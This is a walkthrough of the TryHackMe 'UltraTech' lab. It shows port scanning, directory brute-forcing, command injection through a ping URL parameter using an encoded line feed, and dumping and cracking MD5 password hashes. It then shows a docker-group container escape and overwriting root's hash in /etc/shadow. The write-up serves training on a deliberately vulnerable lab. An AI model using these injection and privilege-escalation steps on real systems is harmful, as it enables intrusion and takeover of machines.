Skip to content
TryHackMe2 min read

THM - UltraTech

UltraTech - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - UltraTech#

NMAP

bash
nmap 10.10.200.110 -p- -T5

image1

bash
nmap 10.10.200.110 -p 31331 -A

image2

  • Directory bruteforcing:
bash
gobuster dir -u http://10.10.200.110:8081 -w /usr/share/seclists/Discovery/Web-Content/big.txt

image3

bash
gobuster dir -u http://10.10.200.110:31331 -w /usr/share/seclists/Discovery/Web-Content/big.txt

image4

/robots.txt

image5

/utech_sitemap.txt

image6

/partners.html

image7

Got a login page

  • Look at traffic in Burp Looking at http://10.10.200.110:31331/partners.html

The site constantly pings to see if the server is online

image8

  • Changing the parameters of the GET request we can get RCE

URL encoding cheatsheet

  • Normal space is url encoded as %20

  • A line feed (0x0A) is url encoded as %0A A line feed means moving one line forward. The code is \n

  • You need to use a line feed character (\n) URL encoded because a normal space doesn't work

bash
GET /ping?ip=10.10.200.110%0Als

image9

bash
GET /ping?ip=10.10.200.110%0Acat%20utech.db.sqlite

image10

(ignore the M before the names)

Found hashes:

r00t : f357a0c52799563c7c7b76c1e7543a32

admin : 0d0ea5111e3c1def594c1684e3b9be84

bash
hash-identifier

image11

image12

  • Crack with hashcat
bash
hashcat -m 0 -a 0 hashes /usr/share/wordlists/rockyou.txt

image13

  • Credentials: r00t : n100906

admin : mrsheafy

  • SSH with r00t

image14

image15

  • We can see we are in the docker group

  • <u>Escape the container:</u>

bash
docker images

image16

image17

  • If we run this command we'll get an error:

image18

  • So we need to list the available images:
bash
docker ps -a

image19

  • Change the image name to bash

Option 1 - command:

bash
docker run -v /:/mnt --rm -it bash chroot /mnt sh

What this command does is, it creates a new container and mounts the entire ultratech-prod filesystem / to this container

image20

Option 2 - Command:

bash
docker run -v /:/mnt -it bash

What this command does is similar to Option 1, it creates a new container and mounts the entire ultratech-prod filesystem /. But it mounts it to /mnt on the container

image21

image22

  • We are root (in the container)

  • We can now read all the root files

  • <u>To get root on the host machine (using Option 1):</u>

  • On Kali - Make a MD5 hash:

bash
mkpasswd -m md5 pass123

image23

  • On the target - in the container (because we're root now)
bash
vi /etc/shadow

Press i (for insert)

Remove the hash of the root user (second field) and replace with the hash you made

image24

bash
Press ESC

Press :wq

ENTER
  • exit out of the container
bash
exit
bash
su root

Enter password you made

image25

image26

TryHackMe2 min

THM - Ra2

Ra2 - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • gobuster
  • hashcat
  • john the ripper
  • nmap
  • powershell
TryHackMe2 min

THM - Ra

Ra - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • hashcat
  • john the ripper
  • linux
  • nmap
  • powershell
TryHackMe3 min

THM - VulnNet

VulnNet - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.

  • bloodhound
  • hashcat
  • impacket
  • linux
  • mimikatz